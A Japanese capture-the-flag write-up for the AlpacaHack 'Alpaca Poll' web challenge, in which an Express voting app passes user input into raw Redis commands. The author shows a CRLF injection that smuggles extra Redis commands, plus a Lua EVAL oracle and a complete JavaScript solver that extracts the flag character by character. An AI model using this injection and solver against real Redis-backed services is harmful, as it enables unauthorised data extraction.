1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] Alpaca Poll (AlpacaHack Round 7) writeup

Last updated at Posted at 2024-11-30

  • Source: AlpacaHack Round 7 (web)
  • Author: st98

dog, cat, alpacaに対して投票ができるアプリ。

データはRedisに保存されており、incrementとgetのみが可能。
また、flagもRedisに保存されている。これをどうにかして読み出したい。

index.js
import fs from 'node:fs/promises';
import express from 'express';

import { init, vote, getVotes } from './db.js';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'Alpaca{dummy}';

process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('static'));

const indexHtml = (await fs.readFile('./static/index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml);
});

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

await init(FLAG); // initialize Redis
app.listen(PORT, () => {
    console.log(`server listening on ${PORT}`);
});
db.js
import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        message += `GET ${animal}\r\n`;
    }

    const reply = await send(socket, message);
    socket.destroy();

    let result = {};
    for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
        result[ANIMALS[index]] = parseInt(match[1], 10);
    }

    return result;
}

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}

この問題は環境を自分で生成する(=人によって環境が異なる)ので、何かしらの破壊的変更を加えることが可能とメタ読みする。ここでしばらくprotorype pollutionを疑って沼っていたのは内緒

しばらくコードを眺めていると、POST /voteの改行コード除去でreplaceAll()ではなくreplace()を使用していることに気付いた。replace()は置換対象が複数回出現する場合も最初に一致したもののみ置換するという挙動を取る。

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

そして、Redisへincrementするコマンドを構築する部分では文字列結合を行っている。

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

つまり、cat \r\n\r\nGET flagというリクエストを送るとINCR cat\r\nGET flag\r\nという文字列が構築される。このリクエストを投げてローカルで実行結果を確認すると、[recv] ":46\r\n$16\r\nAlpaca{REDACTED}\r\n"と表示され、任意のRedisコマンドGET flagが実行できていることが分かる。

これでflagを読み出すことはできたが、return parseInt(reply.match(/:(\d+)/)[1], 10);によって数字以外の値を返すことができなくなっている。INCR flagでエラーが返ってくることは確認していたため、Error-Based NoSQL(?) Injectionができないかを考えた。

SQLのIF句に相当するものが無いか探していたら、どうやらEVALというものがあり、その中でLuaを実行できることが分かった。これを用いればLuaを用いてflagの値を1文字ずつ比較し、1か0を返すpayloadが書けそうだ。

最終的なpayloadは以下のようになった。

"flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`

これはflagの${length}文字目までが${flag}と一致していれば:1を、一致していなければ:0を返す。一行目(\r\nより前)のコマンドをINCR flagとしエラーを返すようにすることで、この1または0が最終的なレスポンスに含まれるようになっている。

これを用いて、flagを一文字ずつ特定するsolverを書いた。

const target = "http://34.170.146.252:28695/vote"
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"

const buildPayload = (flag) => {
  length = flag.length
  return "flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`
}

const solve = async () => {
  let flag = ""
  while(true) {
    for (let i = 0; i < charset.length; i++) {
      const payload = buildPayload(flag + charset[i])
      const resp = await fetch(target, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: `animal=${payload}`,
      })
      const data = await resp.text()
      if (data.slice(-2, -1) == 1) {
        flag += charset[i]
        console.log("Found:", flag)
        break
      }
    }
    if (flag.slice(-1) == "}") {
      console.log("Flag:", flag)
      break
    }
  }
}
solve()

少し時間はかかったが、無事にflagを入手することができた。
Alpaca{ezotanuki_mofumofu}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?